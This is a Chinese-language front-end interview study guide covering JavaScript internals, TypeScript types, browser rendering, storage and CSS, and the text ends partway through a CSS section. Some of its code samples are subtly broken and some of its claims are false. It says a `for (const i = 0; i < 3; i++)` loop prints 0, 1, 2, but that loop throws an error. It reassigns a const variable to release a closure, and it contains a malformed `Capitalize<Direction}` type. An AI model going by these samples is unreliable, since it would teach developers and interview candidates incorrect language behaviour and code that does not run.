前端高级面试

6 阅读24分钟

目录

  1. JavaScript 核心原理
  2. TypeScript 深入
  3. 浏览器工作原理
  4. CSS 与布局
  5. Vue.js 深度原理
  6. React 深度原理
  7. 性能优化
  8. 工程化与构建
  9. 网络安全
  10. Node.js 与后端基础
  11. 算法与数据结构
  12. 系统设计与架构
  13. 场景题与实战
  14. 综合面试技巧

一、JavaScript 核心原理

1.1 执行上下文与调用栈

执行上下文的完整生命周期

JavaScript 代码的执行分为三个阶段,每个阶段都有其特定的任务和职责。

创建阶段(Creation Phase)

在代码执行之前,JavaScript 引擎会创建一个执行上下文,这个过程包括:

// 变量环境创建
VariableEnvironment = {
    // 函数声明:完全提升
    // var 变量:初始化为 undefined
    // 对于 let/const:创建暂时性死区
}

// 词法环境创建
LexicalEnvironment = {
    // 记录当前作用域的标识符绑定
    // 处理块级作用域
}

// this 绑定
// 在全局上下文中,this 指向全局对象
// 在函数上下文中,this 取决于调用方式

执行阶段(Execution Phase)

代码开始按顺序执行,变量被赋值,函数被调用:

function executeOrder() {
    console.log('执行阶段开始');
    
    // 按代码顺序执行
    let a = 1;
    let b = 2;
    let c = a + b;
    
    console.log('执行阶段结束');
}

销毁阶段(Temination Phase)

执行上下文被弹出调用栈,等待垃圾回收:

function outer() {
    function inner() {
        console.log('inner');
    }
    // inner 的执行上下文在函数调用结束后被销毁
    inner();
}

调用栈的工作机制

调用栈是 JavaScript 引擎用于管理执行上下文的数据结构:

// 调用栈示例
function foo() {
    console.log('foo');
    bar();  // foo 暂停,bar 入栈
    console.log('foo continues');
}

function bar() {
    console.log('bar');
}

foo();  // 全局上下文入栈
// 调用栈: [全局上下文]

// 调用 foo()
// 调用栈: [全局上下文, foo 执行上下文]

// 调用 bar()
// 调用栈: [全局上下文, foo 执行上下文, bar 执行上下文]

// bar 完成,出栈
// 调用栈: [全局上下文, foo 执行上下文]

// foo 完成,出栈
// 调用栈: [全局上下文]

栈溢出(Stack Overflow)

当调用栈超过其最大大小时会发生栈溢出:

// 递归导致的栈溢出
function recursiveDeep() {
    recursiveDeep();
}

recursiveDeep();
// Uncaught RangeError: Maximum call stack size exceeded

// 尾调用优化可以避免这个问题
function optimizedRecursive(n, acc = 1) {
    if (n <= 1) return acc;
    return optimizedRecursive(n - 1, n * acc); // 尾调用
}
// 但 JavaScript 引擎对尾调用优化的支持不一致

1.2 变量提升与暂时性死区

var 的提升机制

console.log(a); // undefined,而不是 ReferenceError
var a = 1;

// 实际执行过程:
// var a;
// console.log(a);  // a 已被声明,值为 undefined
// a = 1;

函数声明与函数表达式的区别

// 函数声明:完全提升
console.log(funcDeclaration()); // 可以调用
function funcDeclaration() {
    return 'function declaration';
}

// 函数表达式:只有变量提升
// console.log(funcExpression()); // TypeError
var funcExpression = function() {
    return 'function expression';
};

let 和 const 的暂时性死区

{
    // TDZ 开始
    console.log(a); // ReferenceError
    console.log(b); // ReferenceError
    
    let a = 1;      // TDZ 结束
    const b = 2;    // TDZ 结束
    
    // 可以正常访问
    console.log(a); // 1
    console.log(b); // 2
}

// typeof 操作符的安全问题
typeof x; // 在全局作用域不会报错,返回 'undefined'
{
    typeof x; // ReferenceError,因为 let x 存在暂时性死区
    let x;
}

1.3 作用域链与词法环境

作用域链的构建过程

// 全局作用域
var globalVar = 'global';

function outer() {
    var outerVar = 'outer';
    
    function inner() {
        var innerVar = 'inner';
        console.log(innerVar);    // 就近原则
        console.log(outerVar);    // 从 outer 作用域查找
        console.log(globalVar);   // 从全局作用域查找
    }
    
    inner();
}

块级作用域的实际应用

// 经典的 for 循环问题
for (var i = 0; i < 3; i++) {
    setTimeout(function() {
        console.log(i); // 总是输出 3
    }, 0);
}

// 解决方案 1:使用 IIFE
for (var i = 0; i < 3; i++) {
    (function(j) {
        setTimeout(function() {
            console.log(j); // 输出 0, 1, 2
        }, 0);
    })(i);
}

// 解决方案 2:使用 let
for (let i = 0; i < 3; i++) {
    setTimeout(function() {
        console.log(i); // 输出 0, 1, 2
    }, 0);
}

// 解决方案 3:使用 const
for (const i = 0; i < 3; i++) {
    setTimeout(function() {
        console.log(i); // 输出 0, 1, 2
    }, 0);
}

1.4 闭包的深度理解

闭包的本质

闭包是函数与其词法环境的组合:

function createCounter() {
    let count = 0;
    
    return {
        increment() {
            return ++count;
        },
        decrement() {
            return --count;
        },
        getCount() {
            return count;
        }
    };
}

const counter = createCounter();
console.log(counter.increment()); // 1
console.log(counter.increment()); // 2
console.log(counter.getCount());  // 2

// count 变量被闭包保持,即使 createCounter 已经执行完毕

闭包的内存模型

// 闭包与内存泄漏
function heavyFunction() {
    const largeData = new Array(1000000).fill('data');
    const cache = new Map();
    
    return function processData(data) {
        // 使用 largeData 和 cache
        return largeData.length + cache.size;
    };
}

// 如果返回的函数被长期持有,largeData 和 cache 就无法被回收
const processor = heavyFunction();
processor('test');

// 需要手动释放
processor = null; // 解除引用

闭包的高级应用

// 柯里化(Currying)
function curry(fn) {
    return function curried(...args) {
        if (args.length >= fn.length) {
            return fn.apply(this, args);
        }
        return function(...moreArgs) {
            return curried.apply(this, [...args, ...moreArgs]);
        };
    };
}

function add(a, b, c) {
    return a + b + c;
}

const curriedAdd = curry(add);
console.log(curriedAdd(1)(2)(3)); // 6
console.log(curriedAdd(1, 2)(3)); // 6
console.log(curriedAdd(1, 2, 3)); // 6

// 防抖(Debounce)
function debounce(fn, delay) {
    let timer = null;
    return function(...args) {
        clearTimeout(timer);
        timer = setTimeout(() => {
            fn.apply(this, args);
        }, delay);
    };
}

// 节流(Throttle)
function throttle(fn, interval) {
    let lastTime = 0;
    return function(...args) {
        const now = Date.now();
        if (now - lastTime >= interval) {
            lastTime = now;
            fn.apply(this, args);
        }
    };
}

1.5 原型链与继承

原型的完整结构

// 构造函数
function Person(name, age) {
    this.name = name;
    this.age = age;
}

// 添加实例方法
Person.prototype.sayHello = function() {
    return `Hello, I'm ${this.name}`;
};

// 添加静态方法
Person.staticMethod = function() {
    return 'Static method';
};

// 创建实例
const alice = new Person('Alice', 25);

// 原型链:
// alice → Person.prototype → Object.prototype → null

// 属性查找过程
console.log(alice.name);        // 'Alice'(自身属性)
console.log(alice.toString());  // 从 Object.prototype 继承
console.log(alice.__proto__ === Person.prototype); // true
console.log(Person.prototype.__proto__ === Object.prototype); // true
console.log(Object.prototype.__proto__); // null

继承方式的演进

// 1. 原型链继承
function Parent1() {
    this.name = 'parent1';
}
Parent1.prototype.say = function() {
    console.log(this.name);
};

function Child1() {
    this.childName = 'child1';
}
Child1.prototype = new Parent1();
Child1.prototype.constructor = Child1;

// 2. 构造函数继承
function Parent2(name) {
    this.name = name;
    this.colors = ['red', 'blue'];
}
Parent2.prototype.sayName = function() {
    console.log(this.name);
};

function Child2(name, age) {
    Parent2.call(this, name); // 借用构造函数
    this.age = age;
}

// 3. 组合继承
function Parent3(name) {
    this.name = name;
    this.colors = ['red', 'blue'];
}
Parent3.prototype.sayName = function() {
    console.log(this.name);
};

function Child3(name, age) {
    Parent3.call(this, name);
    this.age = age;
}
Child3.prototype = new Parent3();
Child3.prototype.constructor = Child3;

// 4. 原型式继承
function createObj(o) {
    function F() {}
    F.prototype = o;
    return new F();
}

const parent = {
    name: 'parent',
    friends: ['p1', 'p2']
};
const child = Object.create(parent);

// 5. 寄生式继承
function createChild(parent) {
    const clone = Object.create(parent);
    clone.sayHi = function() {
        console.log('Hi');
    };
    return clone;
}

// 6. 寄生组合继承(最完善的方式)
function inheritPrototype(Parent, Child) {
    const prototype = Object.create(Parent.prototype);
    prototype.constructor = Child;
    Child.prototype = prototype;
}

function Parent4(name) {
    this.name = name;
}
Parent4.prototype.sayName = function() {
    console.log(this.name);
};

function Child4(name, age) {
    Parent4.call(this, name);
    this.age = age;
}

inheritPrototype(Parent4, Child4);
Child4.prototype.sayAge = function() {
    console.log(this.age);
};

// 7. ES6 Class 继承
class Animal {
    constructor(name) {
        this.name = name;
    }
    
    speak() {
        console.log(`${this.name} makes a sound.`);
    }
    
    static isAnimal(obj) {
        return obj instanceof Animal;
    }
}

class Dog extends Animal {
    constructor(name, breed) {
        super(name);
        this.breed = breed;
    }
    
    speak() {
        console.log(`${this.name} barks.`);
    }
}

ES6 Class 的实现细节

// Class 本质是构造函数
class MyClass {
    constructor(value) {
        this.value = value;
    }
    
    getValue() {
        return this.value;
    }
    
    static staticMethod() {
        return 'static';
    }
}

// 等价于
function MyClass(value) {
    this.value = value;
}

MyClass.prototype.getValue = function() {
    return this.value;
};

MyClass.staticMethod = function() {
    return 'static';
};

// super 关键字的实现
class Parent {
    constructor() {
        this.name = 'parent';
    }
    
    greet() {
        return `Hello, ${this.name}`;
    }
}

class Child extends Parent {
    constructor() {
        // 等价于 Parent.call(this)
        super(); 
    }
    
    greet() {
        // 调用父类方法
        return super.greet() + '!';
    }
}

1.6 this 绑定机制

this 的四种绑定规则

// 1. 默认绑定(独立函数调用)
function defaultBinding() {
    console.log(this); // 非严格模式:global;严格模式:undefined
}

defaultBinding();

// 2. 隐式绑定(对象方法调用)
const obj = {
    name: 'object',
    greet() {
        console.log(this.name); // this 指向 obj
    }
};

obj.greet(); // 'object'

// 隐式绑定丢失
const greetFn = obj.greet;
greetFn(); // this 指向全局或 undefined(严格模式)

// 3. 显式绑定(call/apply/bind)
function greet(greeting, punctuation) {
    return `${greeting}, ${this.name}${punctuation}`;
}

const person = { name: 'Alice' };

greet.call(person, 'Hello', '!');  // 'Hello, Alice!'
greet.apply(person, ['Hello', '!']); // 'Hello, Alice!'

const boundGreet = greet.bind(person);
boundGreet('Hi', '.'); // 'Hi, Alice.'

// 4. new 绑定(构造函数调用)
function Person(name) {
    this.name = name;
}

const p = new Person('Alice');
// this 指向新创建的实例

箭头函数的 this 特性

// 箭头函数没有自己的 this
const obj = {
    name: 'object',
    greet: () => {
        console.log(this.name); // 继承外层的 this
    },
    greetNormal() {
        return () => {
            console.log(this.name); // 指向 obj
        };
    }
};

// 常见问题场景
const Counter = {
    count: 0,
    increment() {
        // 错误:setTimeout 中使用普通函数
        setTimeout(function() {
            this.count++; // this 指向全局
        }, 1000);
        
        // 正确:使用箭头函数
        setTimeout(() => {
            this.count++; // this 指向 Counter
        }, 1000);
        
        // 正确:保存 this 引用
        const self = this;
        setTimeout(function() {
            self.count++;
        }, 1000);
    }
};

绑定规则的优先级

// new 绑定 > 显式绑定 > 隐式绑定 > 默认绑定

function foo() {
    console.log(this.value);
}

const obj1 = { value: 1, foo };
const obj2 = { value: 2, foo };

obj1.foo();      // 隐式绑定:1
obj1.foo.call(obj2); // 显式绑定:2
obj1.foo.apply(obj2); // 显式绑定:2

const BoundFoo = obj1.foo.bind(obj2);
BoundFoo(); // 显式绑定:2

new BoundFoo(); // new 绑定:创建一个新对象,忽略 bind 的 this

1.7 事件循环与异步

事件循环的完整机制

// 事件循环可视化
console.log('start');

setTimeout(() => {
    console.log('timeout 1');
}, 0);

Promise.resolve().then(() => {
    console.log('promise 1');
});

queueMicrotask(() => {
    console.log('microtask 1');
});

console.log('end');

// 执行顺序:
// 1. 同步代码:start → end
// 2. 微任务队列:promise 1 → microtask 1
// 3. 宏任务队列:timeout 1

宏任务与微任务的详细分类

// 宏任务(Macrotasks)
// - script 代码
// - setTimeout / setInterval
// - setImmediate(Node.js)
// - I/O 操作
// - UI 渲染

// 微任务(Microtasks)
// - Promise.then/catch/finally
// - MutationObserver
// - queueMicrotask
// - process.nextTick(Node.js)
// - async/await(底层是 Promise)

// 完整执行流程
async function asyncFlow() {
    console.log('async start');
    
    await Promise.resolve().then(() => {
        console.log('await microtask');
    });
    
    console.log('async end');
}

console.log('main start');

asyncFlow();

console.log('main end');

// 输出:
// main start
// async start
// main end
// await microtask
// async end

setTimeout 与 setInterval 的深入理解

// setTimeout 的最小延迟
// 浏览器最小为 4ms,Node.js 最小为 1ms

// setInterval 的问题
const intervalId = setInterval(() => {
    console.log('interval');
}, 100);

// 问题:如果回调执行时间超过间隔,会造成任务堆积
// 解决方案:使用递归 setTimeout
function customInterval(fn, delay) {
    let id = null;
    
    function schedule() {
        id = setTimeout(() => {
            fn();
            schedule(); // 递归调用
        }, delay);
    }
    
    schedule();
    
    return {
        cancel() {
            clearTimeout(id);
        }
    };
}

// setTimeout 的精度问题
// 延迟指定的是"至少"等待的时间,不是精确的

Promise 的深度理解

// Promise 状态机
const pending = new Promise((resolve, reject) => {
    // pending 状态
});

const fulfilled = Promise.resolve('value');
const rejected = Promise.reject(new Error('error'));

// Promise 链式调用
Promise.resolve(1)
    .then(x => x + 1)        // 2
    .then(x => x * 2)        // 4
    .then(x => Promise.resolve(x - 1)) // 3(异步)
    .then(x => x + 10)       // 13
    .then(x => console.log(x)); // 13

// Promise.all 的并发控制
async function fetchAllSequentially(urls) {
    const results = [];
    for (const url of urls) {
        results.push(await fetch(url).then(r => r.json()));
    }
    return results;
}

// Promise.all 并发执行
async function fetchAllConcurrent(urls) {
    const promises = urls.map(url => fetch(url).then(r => r.json()));
    return Promise.all(promises);
}

// 带超时的 Promise
function withTimeout(promise, timeout) {
    return Promise.race([
        promise,
        new Promise((_, reject) => 
            setTimeout(() => reject(new Error('Timeout')), timeout)
        )
    ]);
}

// 并发限制
async function asyncPool(limit, tasks) {
    const results = [];
    const executing = new Set();
    
    for (const task of tasks) {
        const promise = Promise.resolve().then(() => task());
        results.push(promise);
        executing.add(promise);
        
        promise.finally(() => executing.delete(promise));
        
        if (executing.size >= limit) {
            await Promise.race(executing);
        }
    }
    
    return Promise.all(results);
}

async/await 的原理

// async/await 是 Promise + 生成器的语法糖
async function asyncFunc() {
    const result1 = await promise1;
    const result2 = await promise2;
    return result1 + result2;
}

// 等价于
function asyncFunc() {
    return promise1.then(result1 => {
        return promise2.then(result2 => {
            return result1 + result2;
        });
    });
}

// 错误处理
async function errorHandling() {
    try {
        const result = await riskyOperation();
        return result;
    } catch (error) {
        // 处理错误
        console.error(error);
        throw error; // 重新抛出
    }
}

// 并行执行
async function parallelExecution() {
    // 错误:顺序执行
    // const a = await task1(); // 等待完成
    // const b = await task2(); // 等待完成
    
    // 正确:并行执行
    const [a, b] = await Promise.all([task1(), task2()]);
    return a + b;
}

// 循环中的异步
async function processInLoop(items) {
    // 顺序执行
    for (const item of items) {
        await processItem(item);
    }
    
    // 并行执行
    await Promise.all(items.map(item => processItem(item)));
}

1.8 模块系统

ES Modules

// 导出方式
export const name = 'module';
export function greet() {
    return 'Hello';
}
export class Person {}

// 默认导出
export default function() {
    console.log('default export');
}

// 导入方式
import defaultExport from './module.js';
import { name, greet } from './module.js';
import * as module from './module.js';

// 动态导入
async function loadModule() {
    const module = await import('./dynamic-module.js');
    return module.default();
}

// 导入导出重命名
import { name as moduleName } from './module.js';
export { name as moduleName };

CommonJS

// 导出
module.exports = {
    name: 'module',
    greet: function() {
        return 'Hello';
    }
};

// 或
exports.name = 'module';

// 导入
const module = require('./module.js');
const { name, greet } = require('./module.js');

// module.exports 与 exports 的区别
console.log(module.exports === exports); // true
// 但重新赋值不会生效
exports = { name: 'new' }; // 不会改变 module.exports
module.exports = { name: 'new' }; // 会改变

模块加载机制

// ES Modules 是静态的
// 可以在编译时确定依赖关系
// 支持 Tree Shaking

// CommonJS 是动态的
// require() 可以在任何位置调用
// 无法进行 Tree Shaking

// 循环引用问题
// a.js
export const a = 'a';
import { b } from './b.js';
export const aFromB = b;

// b.js
export const b = 'b';
import { a } from './a.js';
export const bFromA = a;

// 结果:aFromB 为 undefined,因为 a 还未完成初始化

二、TypeScript 深入

2.1 类型系统基础

原始类型与对象类型

// 原始类型
let name: string = 'Alice';
let age: number = 25;
let isActive: boolean = true;
let notFound: null = null;
let undefinedValue: undefined = undefined;

// symbol 和 bigint
let sym: symbol = Symbol('key');
let bigNumber: bigint = 100n;

// 对象类型
const user: { name: string; age: number } = {
    name: 'Alice',
    age: 25
};

// 数组类型
let numbers: number[] = [1, 2, 3];
let strings: Array<string> = ['a', 'b', 'c'];

// 元组类型
let tuple: [string, number, boolean] = ['hello', 42, true];

类型注解与类型推断

// 类型注解:显式指定类型
function add(a: number, b: number): number {
    return a + b;
}

// 类型推断:TypeScript 自动推断类型
const numbers = [1, 2, 3]; // number[]
const first = numbers[0];   // number

// 复杂推断
const person = {
    name: 'Alice',
    age: 25
}; // { name: string; age: number }

// 函数推断
const add = (a: number, b: number) => a + b; // (a: number, b: number) => number

2.2 高级类型

联合类型与交叉类型

// 联合类型
type ID = string | number;
let userId: ID = 'user-123';
userId = 12345;

// 交叉类型
type Person = { name: string };
type Employee = { employeeId: number };
type Worker = Person & Employee;

const worker: Worker = {
    name: 'Alice',
    employeeId: 12345
};

类型守卫

// 类型守卫函数
function isString(value: unknown): value is string {
    return typeof value === 'string';
}

function processValue(value: string | number) {
    if (isString(value)) {
        // TypeScript 知道 value 是 string
        return value.toUpperCase();
    }
    // TypeScript 知道 value 是 number
    return value * 2;
}

// in 操作符类型守卫
interface Dog {
    bark(): void;
}

interface Cat {
    meow(): void;
}

function makeSound(animal: Dog | Cat) {
    if ('bark' in animal) {
        animal.bark();
    } else {
        animal.meow();
    }
}

// instanceof 类型守卫
class ApiError extends Error {
    constructor(message: string, public statusCode: number) {
        super(message);
    }
}

function handleError(error: unknown) {
    if (error instanceof ApiError) {
        // error 是 ApiError 类型
        console.error(error.statusCode);
    }
}

条件类型

// 基础条件类型
type IsString<T> = T extends string ? true : false;

type A = IsString<string>;  // true
type B = IsString<number>;  // false

// 分布式条件类型
type ToArray<T> = T extends any ? T[] : never;

type C = ToArray<string | number>; // string[] | number[]

// 内置条件类型
type NonNullable<T> = T extends null | undefined ? never : T;
type D = NonNullable<string | null | undefined>; // string

type ReturnType<T> = T extends (...args: any[]) => infer R ? R : any;
type E = ReturnType<() => number>; // number

type InstanceType<T extends new (...args: any[]) => any> = 
    T extends new (...args: any[]) => infer R ? R : never;

映射类型

// 基础映射类型
type Readonly<T> = {
    readonly [P in keyof T]: T[P];
};

type Partial<T> = {
    [P in keyof T]?: T[P];
};

// 工具类型实现
type Pick<T, K extends keyof T> = {
    [P in K]: T[P];
};

type Omit<T, K extends keyof T> = {
    [P in Exclude<keyof T, K>]: T[P];
};

type Record<K extends keyof any, T> = {
    [P in K]: T;
};

// 映射类型修饰符
type Mutable<T> = {
    -readonly [P in keyof T]: T[P];
};

type Required<T> = {
    [P in keyof T]-?: T[P];
};

// 实际应用
interface User {
    id: number;
    name: string;
    email: string;
    password: string;
}

type PublicUser = Pick<User, 'id' | 'name' | 'email'>;
type CreateUserInput = Omit<User, 'id'>;
type PartialUser = Partial<User>;

模板字面量类型

// 基础模板字面量类型
type Greeting = `Hello, ${string}`;
const greeting: Greeting = 'Hello, World';

type EventName = `on${string}`;
const event: EventName = 'onClick';

// 联合类型中使用
type Direction = 'top' | 'bottom' | 'left' | 'right';
type Padding = `padding${Capitalize<Direction}`;
// paddingTop | paddingBottom | paddingLeft | paddingRight

// 复杂场景
type Path = '/users' | '/posts' | '/comments';
type ApiEndpoint = `${Path}/${string}`;
// /users/:id | /posts/:id | /comments/:id

// 属性名转换
type CamelToSnake<T extends string> = 
    T extends `${infer F}${infer R}`
        ? F extends Lowercase<F>
            ? `${F}${CamelToSnake<R>}`
            : `_${Lowercase<F>}${CamelToSnake<R>}`
        : T;

2.3 泛型

泛型基础

// 泛型函数
function identity<T>(value: T): T {
    return value;
}

const num = identity(42);     // T 推断为 number
const str = identity('hello'); // T 推断为 string

// 泛型接口
interface Container<T> {
    value: T;
    getValue(): T;
}

const numberContainer: Container<number> = {
    value: 42,
    getValue() { return this.value; }
};

// 泛型类
class Box<T> {
    contents: T;
    
    constructor(contents: T) {
        this.contents = contents;
    }
    
    getContents(): T {
        return this.contents;
    }
}

泛型约束

// 类型约束
interface Lengthwise {
    length: number;
}

function loggingIdentity<T extends Lengthwise>(arg: T): T {
    console.log(arg.length);
    return arg;
}

// 约束于另一个类型参数
function getProperty<T, K extends keyof T>(obj: T, key: K): T[K] {
    return obj[key];
}

const user = { name: 'Alice', age: 25 };
const name = getProperty(user, 'name'); // string

// 约束于构造函数
function createInstance<T extends Constructor>(constructor: T): InstanceType<T> {
    return new constructor();
}

多类型参数

// 多个泛型参数
function pair<K, V>(key: K, value: V): [K, V] {
    return [key, value];
}

const result = pair('age', 30); // [string, number]

// 泛型中的默认类型
interface ApiResponse<T = any> {
    data: T;
    status: number;
    message: string;
}

const response: ApiResponse = {
    data: { foo: 'bar' },
    status: 200,
    message: 'OK'
};

// 泛型工具类型
type ApiResponseOf<T> = ApiResponse<T>;

2.4 实际应用

React 中的 TypeScript

// Props 类型定义
interface ButtonProps {
    variant: 'primary' | 'secondary' | 'danger';
    size: 'small' | 'medium' | 'large';
    onClick: () => void;
    disabled?: boolean;
    children: React.ReactNode;
}

// 组件类型
import React from 'react';

const Button: React.FC<ButtonProps> = ({ 
    variant, 
    size, 
    onClick, 
    disabled = false,
    children 
}) => {
    return (
        <button 
            className={`btn btn-${variant} btn-${size}`}
            onClick={onClick}
            disabled={disabled}
        >
            {children}
        </button>
    );
};

// 事件处理类型
const handleChange: React.ChangeEventHandler<HTMLInputElement> = (event) => {
    console.log(event.target.value);
};

const handleClick: React.MouseEventHandler<HTMLButtonElement> = (event) => {
    console.log(event.currentTarget.dataset.id);
};

// useState 类型
const [count, setCount] = useState<number>(0);
const [user, setUser] = useState<User | null>(null);
const [items, setItems] = useState<Item[]>([]);

// useRef 类型
const inputRef = useRef<HTMLInputElement>(null);
const videoRef = useRef<HTMLVideoElement>(null);

// useReducer 类型
type Action = 
    | { type: 'increment' }
    | { type: 'decrement' }
    | { type: 'set'; payload: number };

const [state, dispatch] = useReducer((state: number, action: Action) => {
    switch (action.type) {
        case 'increment': return state + 1;
        case 'decrement': return state - 1;
        case 'set': return action.payload;
        default: return state;
    }
}, 0);

Vue 中的 TypeScript

// Props 类型定义
interface User {
    id: number;
    name: string;
    email: string;
}

const props = defineProps<{
    user: User;
    isActive: boolean;
    tags?: string[];
}>();

// 事件类型
const emit = defineEmits<{
    (e: 'update', value: string): void;
    (e: 'delete', id: number): void;
    (e: 'change', payload: { old: string; new: string }): void;
}>();

// 组件类型
import { defineComponent } from 'vue';

export default defineComponent({
    props: {
        title: { type: String, required: true },
        count: { type: Number, default: 0 }
    },
    emits: ['update'],
    setup(props, { emit }) {
        // 类型安全的 props
        console.log(props.title.toUpperCase());
        
        const handleClick = () => {
            emit('update', 'new value');
        };
        
        return { handleClick };
    }
});

三、浏览器工作原理

3.1 浏览器架构

多进程架构

现代浏览器采用多进程架构,主要进程包括:

// 浏览器进程(Browser Process)
// - UI 线程:绘制浏览器按钮和输入框
// - 网络线程:处理网络请求
// - 存储线程:处理文件访问

// 渲染进程(Renderer Process)
// - 每个标签页一个渲染进程
// - 主线程:执行 JS、DOM、CSS
// - Compositor 线程:处理合成
// - Worker 线程:Web Workers

// GPU 进程(GPU Process)
// - 处理 GPU 相关任务

// 插件进程(Plugin Process)
// - 每个插件一个进程

// 实用进程(Utility Process)
// - 处理后台任务

进程间通信

// 主进程与渲染进程通信
// 渲染进程(iframe 或独立页面)
window.parent.postMessage({
    type: 'DATA_FROM_RENDERER',
    payload: { message: 'Hello from renderer' }
}, '*');

// 主进程监听
window.addEventListener('message', (event) => {
    console.log('Received:', event.data);
});

3.2 渲染流程

完整渲染流水线

// 1. DOM 构建
// HTML Parser → Token → AST → DOM Tree

// 2. CSSOM 构建
// CSS Parser → Rule → CSSOM Tree

// 3. Render 树构建
// DOM + CSSOM → Render Tree

// 4. Layout(布局/回流)
// 计算每个节点的几何信息
// - 位置 (x, y)
// - 尺寸 (width, height)
// - 层级 (z-index)

// 5. Paint(绘制)
// 将渲染树转换为屏幕像素
// - 绘制顺序:背景色 → 文字 → 边框 → 阴影

// 6. Composite(合成)
// 将不同图层合并
// - Transform, Opacity 在合成层处理
// - 触发 GPU 加速

渲染时机

// 关键渲染路径
document.addEventListener('DOMContentLoaded', () => {
    // DOM 构建完成
});

window.addEventListener('load', () => {
    // 所有资源加载完成
});

window.addEventListener('beforeunload', () => {
    // 页面即将卸载
    // 用于保存用户数据
});

// requestAnimationFrame
function animate(timestamp) {
    // 在下一次重绘前执行
    // 适合动画和游戏循环
    requestAnimationFrame(animate);
}

// 性能优化:避免布局抖动
function badPattern() {
    // 强制同步布局
    element.style.width = '100px';
    console.log(element.offsetWidth); // 触发回流
    element.style.height = '100px';
}

function goodPattern() {
    // 读取后写入,写入后读取
    const width = element.offsetWidth;
    element.style.width = '100px';
    element.style.height = '100px';
}

3.3 CSS 引擎

选择器匹配

/* 选择器优先级 */
#app .container .item { }  /* ID: 1, Class: 2, Tag: 1 = 优先级 0-1-2-0 */
.container .item { }        /* Class: 2, Tag: 1 = 优先级 0-0-2-0 */
.item { }                   /* Class: 1 = 优先级 0-0-1-0 */
div { }                     /* Tag: 1 = 优先级 0-0-0-1 */

/* 选择器从右向左匹配 */
.container .item .title { }
/* 先找所有 .title,再找父级 .item,再找父级 .container */

CSS 布局系统

/* 盒模型 */
.box {
    box-sizing: content-box;  /* 默认 */
    box-sizing: border-box;   /* 推荐 */
}

/* Flexbox */
.container {
    display: flex;
    flex-direction: row | column;
    justify-content: center | space-between;
    align-items: center | stretch;
    flex-wrap: wrap;
    gap: 10px;
}

/* Grid */
.grid {
    display: grid;
    grid-template-columns: repeat(3, 1fr);
    grid-template-rows: auto;
    gap: 1rem;
    grid-template-areas:
        "header header header"
        "sidebar main main"
        "footer footer footer";
}

3.4 事件系统

事件流

// 事件捕获阶段:从上到下
// 目标阶段
// 事件冒泡阶段:从下到上

// 事件监听器
element.addEventListener('click', handler, {
    capture: false,  // 冒泡阶段(默认)
    capture: true,   // 捕获阶段
    once: true,      // 只执行一次
    passive: true    // 不阻止默认行为
});

// 事件代理
document.querySelector('ul').addEventListener('click', (e) => {
    if (e.target.tagName === 'LI') {
        e.target.classList.toggle('active');
    }
});

// 自定义事件
const myEvent = new CustomEvent('myCustomEvent', {
    detail: { data: 'some data' },
    bubbles: true,
    cancelable: true
});

element.dispatchEvent(myEvent);

// 事件循环中的事件处理
// 1. 宏任务:script, setTimeout, setInterval
// 2. 微任务:Promise.then, queueMicrotask
// 3. 渲染:requestAnimationFrame, layout, paint

3.5 存储机制

Web Storage

// localStorage
localStorage.setItem('key', 'value');
localStorage.getItem('key');
localStorage.removeItem('key');
localStorage.clear();

// 只能存储字符串
localStorage.setItem('user', JSON.stringify({ name: 'Alice' }));
const user = JSON.parse(localStorage.getItem('user'));

// 存储事件(跨标签页通信)
window.addEventListener('storage', (e) => {
    console.log('Key:', e.key);
    console.log('Old Value:', e.oldValue);
    console.log('New Value:', e.newValue);
    console.log('URL:', e.url);
});

// sessionStorage
sessionStorage.setItem('session', 'data');
// 标签页关闭后清除

IndexedDB

// 打开数据库
const request = indexedDB.open('MyDatabase', 1);

// 数据库升级
request.onupgradeneeded = (event) => {
    const db = event.target.result;
    
    // 创建对象仓库
    const store = db.createObjectStore('users', {
        keyPath: 'id',
        autoIncrement: true
    });
    
    // 创建索引
    store.createIndex('name', 'name', { unique: false });
    store.createIndex('email', 'email', { unique: true });
    
    // 添加初始数据
    store.add({ name: 'Alice', email: 'alice@example.com', age: 25 });
    store.add({ name: 'Bob', email: 'bob@example.com', age: 30 });
};

// 成功打开
request.onsuccess = (event) => {
    const db = event.target.result;
    
    // 事务
    const transaction = db.transaction(['users'], 'readwrite');
    const store = transaction.objectStore('users');
    
    // 添加数据
    const addRequest = store.add({ name: 'Charlie', age: 35 });
    addRequest.onsuccess = () => console.log('Added:', addRequest.result);
    
    // 查询数据
    const getRequest = store.get(1);
    getRequest.onsuccess = () => console.log('Got:', getRequest.result);
    
    // 使用索引查询
    const index = store.index('name');
    const getByName = index.get('Alice');
    
    // 更新数据
    const updateRequest = store.put({ id: 1, name: 'Alice Updated', age: 26 });
    
    // 删除数据
    const deleteRequest = store.delete(1);
};

// 错误处理
request.onerror = (event) => {
    console.error('Database error:', event.target.error);
};

Cache API

// Service Worker Cache
const CACHE_NAME = 'my-cache-v1';
const STATIC_ASSETS = [
    '/',
    '/index.html',
    '/styles/main.css',
    '/scripts/app.js',
    '/images/logo.png'
];

// 安装 Service Worker
self.addEventListener('install', (event) => {
    event.waitUntil(
        caches.open(CACHE_NAME).then((cache) => {
            return cache.addAll(STATIC_ASSETS);
        })
    );
});

// 拦截网络请求
self.addEventListener('fetch', (event) => {
    event.respondWith(
        caches.match(event.request).then((cached) => {
            if (cached) {
                return cached;
            }
            
            return fetch(event.request).then((response) => {
                // 缓存新的响应
                if (response.ok) {
                    const responseClone = response.clone();
                    caches.open(CACHE_NAME).then((cache) => {
                        cache.put(event.request, responseClone);
                    });
                }
                return response;
            });
        })
    );
});

// 激活 Service Worker
self.addEventListener('activate', (event) => {
    event.waitUntil(
        caches.keys().then((cacheNames) => {
            return Promise.all(
                cacheNames.map((name) => {
                    if (name !== CACHE_NAME) {
                        return caches.delete(name);
                    }
                })
            );
        })
    );
});

四、CSS 与布局

4.1 CSS 核心概念

层叠上下文

/* 层叠顺序(从低到高):
   1. 背景和边框(层叠上下文内部)
   2. 负 z-index
   3. 块级盒
   4. 浮动盒
   5. 行内盒
   6. z-index: auto 或 z-index: 0
   7. 正 z-index
*/

.layer1 { position: relative; z-index: 1; }
.layer2 { position: relative; z-index: 2; }

/* 创建层叠上下文的属性:
   - position: absolute/fixed(除 z-index: auto)
   - opacity < 1
   - transform != none
   - filter != none
   - perspective != none
   - isolation: isolate
   - mix-blend-mode != normal
*/

BFC(块级格式化上下文)

/* 创建 BFC 的方式:
   - overflow: hidden/auto/scroll(除 visible)
   - display: inline-block/flex/grid
   - position: absolute/fixed
   - float: left/right
*/

.parent {
    overflow: hidden; /* 创建 BFC */
